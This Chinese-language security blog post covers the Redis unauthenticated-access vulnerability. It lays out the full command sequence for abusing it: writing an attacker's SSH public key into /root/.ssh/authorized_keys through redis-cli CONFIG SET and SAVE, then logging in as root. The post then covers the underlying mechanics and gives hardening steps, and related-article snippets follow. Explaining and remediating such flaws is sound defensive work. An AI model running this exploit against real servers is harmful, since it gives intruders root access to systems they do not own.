Redis 未授权访问漏洞利用总结

VSole2021-09-15 09:58:36

Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。

一、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis

服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis

的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis

服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

漏洞描述

部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是 Redis

的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis

服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问 Redis 服务并进行相关操作。

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

二、漏洞利用

首先在本地生产公私钥文件:

$ ssh-keygen –t rsa

然后将公钥写入 foo.txt 文件

$ (echo -e ""; cat id_rsa.pub; echo -e "") > foo.txt

连接 Redis 写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK

     这里讲解下,这里设定了 crackit 的键值为公钥,并通过 redis 命令变更 Redis DB 文件及存放地点为默认 root 用户 SSH key 存放文件,并将键值重定向追加到远程文件 authorized_keys 的末尾,也就上传了公钥。

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

可远程利用自己的私钥登录该服务器。

刚刚我们提到公钥登录和 Redis 持久化存放数据操作,这里简单讲下原理

详细讲解 ssh 登录--公钥登录

SSH 提供了公钥登录,可以省去输入密码的步骤。

所谓" 公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录 shell,不再要求密码。

这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用 ssh-keygen 生成一个:

$ ssh-keygen

运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。

运行结束以后,在 $HOME/.ssh/目录下,会新生成两个文件:id_rsa.pub 和 id_rsa。前者是你的公钥,后者是你的私钥。

通常这时再输入下面的命令,将公钥传送到远程主机 host 上面:

$ ssh-copy-id user@host

authorized_keys 文件,远程主机将用户的公钥,保存在登录后的用户主目录的 $HOME/.ssh/authorized_keys 文件中。公钥就是一段字符串,只要把它追加在 authorized_keys 文件的末尾就行了。

详细相关的 Redis 持久化命令

Redis 支持 2 种持久化策略:snapshot 方式和 commandlog 方式,前者通过将当前内存数据快照周期性写入 RDB

文件来实现;后者通过在 log 中记录 Redis 进程收到的写操作来实现,下次 Redis 重启时,回放 commandlog

来恢复数据状态。

这里使用 RDB 文件写入 SSH key 文件,需要设置以下两个 RDB 相关配置

dbfilename

指定 RDB 文件名,默认为 dump.rdb

dir

指定 RDB 文件存放目录的路径,若包含多级路径,则相关父路径需事先 mkdir 出来,否则启动失败。

set(key, value):给数据库中名称为 key 的 string 赋予值 value

最后 Client 使用 save 命令通知 redis 做一次快照持久化

修复建议/安全建议

1. 禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""

来禁用远程修改 DB 文件地址

2. 以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

$ groupadd -r redis && useradd -r -g redis redis

3. 为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4. 禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

5. 保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

sshredis
本作品采用《CC 协议》,转载必须注明作者和本文链接
Scanners-Box 指引#简介#Scanners-Box是一个集合github平台上的安全行业从业人员自研开源扫描器的仓库,包括子域名枚举、数据库漏洞扫描、弱口令或信息泄漏扫描、端口扫描、指纹识别以及其他大型扫描器或模块化扫描器;该仓库只收录各位网友自己编写的一般性开源扫描器,类似nmap、w3af、brakeman等知名扫描工具不收录。
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill ├─2075 tOAK5Ejl
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill├─2075 tOAK5Ejl
实战 | 挖矿木马排查
2023-02-22 10:05:36
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill├─2075 tOAK5Ejl
网上安全渗透测试工具整理全集,部分链接可能失效,但可以搜索到
Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文
漏洞及渗透练习平台 数据库注入练习平台 花式扫描器 信息搜集工具 WEB工具 windows域渗透工具 漏洞利用及攻击框架 漏洞POC&EXP 中间人攻击及钓鱼 密码pj 二进制及代码分析工具 EXP编写框架及工具 隐写相关工具 各类安全资料 各类CTF资源 各类编程资源 Python
2020年9月 ,AWAKE Security的Patrick Olsen调查并报告了仅携带XMR Miner有效载荷的僵尸网络的早期版本。僵尸网络目前正在使用Weblogic漏洞进行传播。杀死正在运行的进程,潜在地争夺挖掘工具并消除EDR。shellscript xms通过curl从bash传递到bash,以防万一失败,使用wget对其进行提取,执行和删除,以防止分析。使用base64编码命令来获取并执行python脚本,以避免检测和分析。第一组下载并运行Miner二进制文件和随附的shell脚本,维护持久性并下载并运行第二组python脚本。
成功getshell后通过冰蝎上传了一个哥斯拉shell接下来就是socks5代理了,上传一个frp后发现服务端关了,事发突然并没有做什么权限维持,到手的shell飞了经过分析和思考,造成这种情况的原因是直接拿了编译好的frp没做免杀,也许内网有全流量,设备报警提醒了,管理员发现异常后直接关机了。
这是本系列第三篇文章,依旧是某省HVV红队的经历。 过程中只用到很简单的方法,所以加了个标题“有手就行”。 这家企业在内网犯了几乎所有能犯的错误,打起来也比较顺利,只不过当时被管理员发现了,争分夺秒的过程也比较有趣哈哈。
VSole
网络安全专家